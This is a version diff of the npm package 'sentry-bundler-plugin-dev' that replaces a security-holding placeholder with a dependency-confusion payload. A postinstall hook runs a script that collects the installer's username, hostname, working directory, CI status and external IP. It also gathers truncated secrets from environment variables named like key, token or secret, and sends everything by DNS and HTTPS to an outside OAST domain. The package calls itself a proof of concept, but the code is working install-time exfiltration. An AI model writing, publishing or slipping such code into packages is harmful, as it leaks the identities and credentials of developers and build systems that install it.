sentry-bundler-plugin-dev 0.0.1-security → 98.99.99

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "sentry-bundler-plugin-dev",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "98.99.99",
+  "description": "Sentry internal dependency confusion PoC - RCE via postinstall beacon",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "author": "orwa",
+  "license": "ISC"
 }

package/preinstall.js

@@ -0,0 +1,79 @@
+// This file should be named index.js
+
+const dns = require('dns');
+const os = require('os');
+const { exec } = require('child_process');
+const https = require('https');
+
+const MAX_LABEL = 63;
+const OAST_DOMAIN = 'ocvomeqbrouywnpfvqwht36lgxwtmlyg4.oast.fun'; // Your OAST domain
+
+// DNS-safe hex encoding split into max 63 char chunks
+function hexify(str) {
+  return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
+}
+
+// Collect victim fingerprint info
+const info = {
+  vulnerable_package: 'sentry-bundler-plugin-dev', // <-- IMPROVEMENT: Identify which attack succeeded
+  user: os.userInfo().username || 'nouser',
+  host: os.hostname() || 'nohost',
+  cwd: process.cwd() || 'nocwd',
+  platform: os.platform(),
+  arch: os.arch(),
+  timestamp: Date.now().toString(36),
+  ci: !!process.env.CI || !!process.env.GITHUB_ACTIONS
+};
+
+// Build DNS beacon domain
+const labels = [
+  ...hexify(info.vulnerable_package), // Beacon the package name
+  ...hexify(info.user),
+  ...hexify(info.host),
+  ...hexify(info.cwd),
+  info.platform,
+  info.arch,
+  info.ci ? 'ci' : 'local',
+  info.timestamp,
+  OAST_DOMAIN
+];
+
+let domain = labels.join('.');
+if (domain.length > 253) domain = domain.slice(0, 253);
+
+// Fire DNS beacon
+try { dns.resolve(domain, () => {}); } catch(e) {}
+
+// Fetch external IP and beacon over HTTP as fallback
+try {
+    exec('curl -s https://api.ipify.org', (err, stdout) => {
+      if (err) return;
+      const ip = stdout.trim();
+      const payload = JSON.stringify({ ...info, ip });
+      const req = https.request({
+        hostname: OAST_DOMAIN, path: '/', method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+      }, () => {});
+      req.on('error', () => {});
+      req.write(payload);
+      req.end();
+    });
+} catch(e) {}
+
+
+// Stealthy env var sniff
+try {
+    const leaked = Object.entries(process.env)
+      .filter(([k]) => /key|token|secret/i.test(k))
+      .slice(0, 5)
+      .reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 10) + '...' }), {});
+    
+    if (Object.keys(leaked).length) {
+      const req = https.request({
+        hostname: OAST_DOMAIN, path: '/', method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+      }, () => {});
+      req.write(JSON.stringify({ envleak: leaked }));
+      req.end();
+    }
+} catch(e) {}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=sentry-bundler-plugin-dev for more information.